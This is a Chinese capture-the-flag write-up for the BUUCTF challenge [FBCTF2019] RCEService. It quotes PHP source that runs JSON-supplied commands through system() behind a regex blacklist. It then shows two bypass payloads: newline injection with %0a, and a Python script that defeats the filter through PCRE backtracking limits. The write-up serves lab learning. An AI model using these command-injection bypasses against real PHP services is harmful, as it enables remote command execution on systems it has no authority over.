![在这里插入图片描述 BUUCTF:[FBCTF2019]RCEService_JSON](https://file.cfanz.cn/uploads/png/2023/06/19/16/5S8NOd1D91.png)
题目叫我们以JSON的格式提交命令,先随便输
![在这里插入图片描述 BUUCTF:[FBCTF2019]RCEService_JSON_02](https://file.cfanz.cn/uploads/png/2023/06/19/16/WY03HGd751.png)
提交JSON格式
?cmd={"cmd":"ls"}![在这里插入图片描述 BUUCTF:[FBCTF2019]RCEService_json_03](https://file.cfanz.cn/uploads/png/2023/06/19/16/8Kd80ZYL1L.png)
但是经测试发现很多命令被禁止了
在网上找到的源码2333:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>先看一种简单的解法:
preg_match()函数只能匹配第一行数据,可以使用换行符%0a绕过,payload:
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}慢慢摸索路径就可以找到flag
![在这里插入图片描述 BUUCTF:[FBCTF2019]RCEService_json_04](https://file.cfanz.cn/uploads/png/2023/06/19/16/18aS10Sa04.png)
第二种解法应该也是预期解法PRCE
参考:P神:PHP利用PCRE回溯次数限制绕过某些安全限制 P神已经解释的很详细了,使用脚本进行回溯次数绕过
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://ad66432f-4628-41f6-8190-d9b9c247904c.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)![在这里插入图片描述 BUUCTF:[FBCTF2019]RCEService_json_05](https://file.cfanz.cn/uploads/png/2023/06/19/16/GMbX81I6dH.png)
